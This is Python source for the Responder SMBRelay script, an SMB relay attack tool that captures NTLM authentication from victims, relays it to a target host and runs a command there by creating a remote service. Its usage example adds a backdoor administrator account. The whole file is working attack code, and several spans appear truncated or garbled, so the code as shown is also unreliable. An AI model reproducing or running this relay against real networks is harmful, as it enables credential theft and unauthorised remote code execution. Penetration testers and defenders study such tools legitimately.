# NBT-NS/LLMNR Responder # Created by Laurent Gaffie # Copyright (C) 2014 Trustwave Holdings, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys, os, struct,re,socket,random, RelayPackets,optparse,thread from fingerprint import RunSmbFinger from odict import OrderedDict from socket import * from RelayPackets import * def UserCallBack(op, value, dmy, parser): args=[] for arg in parser.rargs: if arg[0] != "-": args.append(arg) if getattr(parser.values, op.dest): args.extend(getattr(parser.values, op.dest)) setattr(parser.values, op.dest, args) parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],) parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP") parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD') parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain") parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay") options, args = parser.parse_args() if options.CMD is None: print "\n-c mandatory option is missing, please provide a command to execute on the target.\n" parser.print_help() exit(-1) if options.TARGET is None: print "\n-t mandatory option is missing, please provide a target.\n" parser.print_help() exit(-1) if options.UserToRelay is None: print "\n-u mandatory option is missing, please provide a username to relay.\n" parser.print_help() exit(-1) ResponderPATH = os.path.dirname(__file__) # Set some vars. UserToRelay = options.UserToRelay Domain = options.Domain Command = options.CMD Target = options.TARGET Responder_IP = options.Responder_IP print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com" print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) #Logger import logging Logs = logging Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG) #Function used to verify if a previous auth attempt was made. def ReadData(outfile,Client, User, cmd=None): try: with open(ResponderPATH+outfile,"r") as filestr: if cmd == None: String = Client+':'+User if re.search(String.encode('hex'), filestr.read().encode('hex')): filestr.close() return True else: return False if cmd != None: String = Client+","+User+","+cmd if re.search(String.encode('hex'), filestr.read().encode('hex')): filestr.close() print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client) return True else: return False except: raise #Function used to parse SMB NTLMv1/v2 def ParseHash(data,Client, Target): try: lenght = struct.unpack('= 30: Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) if ReadData("SMBRelay-Session.txt", Client, Username): print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) pass if Username in UserToRelay: print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) print "Username : ",Username print "Domain (if joined, if not then computer name) : ",Domain return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client if NthashLen == 24: pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) if ReadData("SMBRelay-Session.txt", Client, Username): print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) pass if Username in UserToRelay: print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) LMHashing = data[65:65+LMhashLen].encode('hex').upper() NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() print "Username : ",Username print "Domain (if joined, if not then computer name) : ",Domain return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client else: print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay) pass except Exception: raise #Detect if SMB auth was Anonymous def Is_Anonymous(data): LMhashLen = struct.unpack('=Windows Vista" Logs.info(CLIENTIP+":"+Username) ## NtCreateAndx if data[8:10] == "\x73\x00": print "[+] Authenticated, trying to PSexec on target !" head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBNTCreateData() t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## Fail Handling. if data[8:10] == "\xa2\x22": print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?" ## DCE/RPC Write. if data[8:10] == "\xa2\x00": head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) x = SMBDCEData() x.calculate() f = data[42:44] t = SMBWriteData(FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC SVCCTLOpenManagerW. if data[8:10] == "\x2e\x00": head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00") w.calculate() x = SMBDCEPacketData(Data=w) x.calculate() t = SMBWriteData(FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read Answer. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC SVCCTLCreateService. if data[8:10] == "\x2e\x00": if data[len(data)-4:] == "\x05\x00\x00\x00": print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?" print "[+] Creating service" head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) ContextHandler = data[88:108] ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat' w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD) w.calculate() x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) x.calculate() t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read Answer. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC SVCCTLOpenService. if data[8:10] == "\x2e\x00": if data[len(data)-4:] == "\x05\x00\x00\x00": print "[+] Failed to create the service" head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) w.calculate() x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) x.calculate() t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read Answer. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC SVCCTLStartService. if data[8:10] == "\x2e\x00": if data[len(data)-4:] == "\x05\x00\x00\x00": print "[+] Failed to open the service" ContextHandler = data[88:108] head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) x.calculate() t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) ## DCE/RPC Read Answer. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) if data[8:10] == "\x2e\x00": print "[+] Command successful !" Logs.info('Command successful:') Logs.info(Target+","+Username+','+CMD) return True if data[8:10] != "\x2e\x00": return False def RunInloop(Target,Command,Domain): try: while True: worker = RunRelay(Target,Command,Domain) except: raise def main(): try: thread.start_new(RunInloop,(Target,Command,Domain)) except KeyboardInterrupt: exit() if __name__ == '__main__': try: main() except KeyboardInterrupt: raise raw_input()